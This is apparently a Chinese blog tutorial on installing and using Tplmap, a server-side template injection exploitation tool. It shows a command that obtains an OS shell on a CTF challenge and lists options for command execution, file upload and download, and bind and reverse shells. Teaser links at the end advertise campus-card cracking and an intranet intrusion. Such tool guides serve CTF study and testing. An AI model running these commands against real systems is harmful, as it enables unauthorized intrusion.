当前位置:首页 > 未分类 > 正文内容

Tplmap 使用

admin3年前 (2023-02-25)未分类614

工具简介

Tplmap 是一个 python 工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用 SSTI 来访问目标文件或操作系统。一些受支持的模板引擎包括 PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2 和 Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

工具环境

  • Windows

  • Linux

Linux 下安装

在 kali 终端输入

git clone https://github.com/epinna/tplmap

如果没有 git 命令,则需要安装:

sudo apt-get install git

等待安装好后即可使用 git 了

Windows 下安装

可以直接打开 GitHub 地址来下载

https://github.com/epinna/tplmap

同样也可以使用 git 命令

git clone https://github.com/epinna/tplmap

目录内容如下

使用说明

需要在 python3 的环境下使用

在 tplmap 目录下有一个名为requirements.txt的文件,内容如下

PyYAML==5.1.2
certifi==2018.10.15
chardet==3.0.4
idna==2.8
requests==2.22.0
urllib3==1.24.1
wsgiref==0.1.2

以上就是 tplmap 所需要的库,该文本中标出了库名和版本号,我们可以使用 pip 命令来进行安装

进入 tplmap 的目录,用如下指令安装

pip install -r requirements.txt

典型用法

例:qsnctf 的一道 web 题目

https://www.qsnctf.com/challenges#Flask1-151

使用以下命令可以拿到 shell

python3 tplmap.py -u http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/? name=1 --os-shell

各个参数的意思

Usage: python tplmap.py [options]

选项:
 -h, --help          显示帮助并退出

目标:
 -u URL, --url=URL   目标 URL
 -X REQUEST, --re..  强制使用给定的HTTP方法 (e.g. PUT)

请求:
 -d DATA, --data=..  通过POST发送的数据字符串 它必须作为查询字符串: param1=value1&param2=value2
 -H HEADERS, --he..  附加标头 (e.g. 'Header1: Value1') 多次使用以添加新的标头
 -c COOKIES, --co..  Cookies (e.g. 'Field1=Value1') 多次使用以添加新的Cookie
 -A USER_AGENT, -..  HTTP User-Agent 标头的值
 --proxy=PROXY       使用代理连接到目标URL

检测:
 --level=LEVEL       要执行的代码上下文转义级别 (1-5, Default: 1)
 -e ENGINE, --eng..  强制将后端模板引擎设置为此值
 -t TECHNIQUE, --..  技术 R:渲染 T:基于时间的盲注 Default: RT

操作系统访问:
 --os-cmd=OS_CMD     执行操作系统命令
 --os-shell          提示交互式操作系统Shell
 --upload=UPLOAD     上传本地文件到远程主机
 --force-overwrite   上传时强制覆盖文件
 --download=DOWNL..  下载远程文件到本地主机
 --bind-shell=BIN..  在目标的TCP端口上生成系统Shell并连接到它
 --reverse-shell=..  运行系统Shell并反向连接到本地主机端口

模板检查:
 --tpl-shell         在模板引擎上提示交互式Shell
 --tpl-code=TPL_C..  在模板引擎中注入代码

常规:
 --force-level=FO..  强制将测试级别设置为此值
 --injection-tag=..  使用字符串作为注入标签 (default '*')

遇到的问题

C:\Users\xiniyi\Desktop\tplmap-master\tplmap-master
λ python3 tplmap.py -u 'http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/ ?name=11 *'--os-shell
Tplmap 0.5
   Automatic Server-Side Template Injection Detection and Exploitation Tool

Testing if GET parameter 'name' is injectable
Smarty plugin is testing rendering with tag '*'
Exiting: No connection adapters were found for "'http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/"

解决办法:将 url 所带的引号去掉

工具归属

项目地址:https://github.com/epinna/tplmap


扫描二维码推送至手机访问。

版权声明:本文由克拉玛依三十年社团发布,如需转载请注明出处。

本文链接:https://www.klmyssn.com/?id=62

分享给朋友:

“Tplmap 使用” 的相关文章

(原创)NOIP [全国青少年信息学奥林匹克联赛] 初赛之后的杂谈

(原创)NOIP [全国青少年信息学奥林匹克联赛] 初赛之后的杂谈

没人能比我更懂你。这次的 noip 初赛考的很砸,比数学还砸。深夜的情感就像熬过冬日的野草。我们都在寻找,寻找着一个能够和自己差不多的人,去对他倾诉自己的情感,去倾听他的情感。在一次一次的失败,一次又一次的成功后,留下的只是回忆;在一次次的交流中,一次次的倾听中,留下的是感情。就像我们总是在学习,却...

(原创)校园卡破解系列之权限克隆 [pm3 破解饭卡][pm3 克隆数据][校园卡克隆][IC 卡克隆]

(原创)校园卡破解系列之权限克隆 [pm3 破解饭卡][pm3 克隆数据][校园卡克隆][IC 卡克隆]

一、免责声明本文主张交流与科研学习,请勿对文中提及的内容进行恶意使用!本社团及作者对读者后续的行为不承担任何法律责任。此文章是综合之前饭卡复制、权限提升漏洞后的合并版本,后半部分聚焦饭卡破解;若看过之前文章,可直接跳转至 “(一)饭卡权限提升” 章节。二、基础准备:工具与测试对象1. 核心工具:PM...

(原创) 校园卡破解系列之数据修改 [pm3 破解饭卡][pm3 修改数据][校园卡修改][IC 卡修改数据]

(原创) 校园卡破解系列之数据修改 [pm3 破解饭卡][pm3 修改数据][校园卡修改][IC 卡修改数据]

(二)吃不完的饭卡提升完 IC 卡权限,就该考虑能不能修改饭卡金额了。通过两次消费前后饭卡数据的对比分析,发现虽然卡片数据包含较多扇区和区块,但消费前后变化的地方仅涉及两个扇区,这为后续分析提供了便利。通过十六进制与十进制转换,可进一步拆解变化的数据:消费后金额:373.2(数字:37320;16...

(原创) 校园卡破解系列之内网渗透提权校园卡服务器 [内网渗透][服务器提权][渗透内网]

(原创) 校园卡破解系列之内网渗透提权校园卡服务器 [内网渗透][服务器提权][渗透内网]

一、渗透背景与环境准备1. 时间与环境渗透时间:上午大课间(仅十几分钟完成)操作设备:班级 XP 系统电脑(性能有限,需选择轻量工具)内网 IP:本地 IP 为172.18.33.38,扫描网段定为172.18.32.0-172.18.33.02. 工具选择优先工具:Kali 的 MSF 模块(可直...

(原创)Powershell And Metasploit (上)

(原创)Powershell And Metasploit (上)

00x01 #题外话作者: 墨 (X_Al3r)即刻安全:www.secist.com十三年社团:www.klmyssn.com一篇不知道该用什么名字的文章!00x02 #什么是 PowershellPowerShell 一般指 Windows Power ShellPowershell 是 Mic...

带你挖掘文件包含漏洞之代码审计 #4 实战五个案例

带你挖掘文件包含漏洞之代码审计 #4 实战五个案例

在 PHP 安全中,文件包含漏洞是危害严重的漏洞!本文不再讲解基础概念,直接进入实战环节。一、文件包含漏洞挖掘要点核心关键字:require()、require_once()、include()、include_once()(注意:函数名中括号与参数间存在空格,效果相同);本次实战对象:CMS 系统...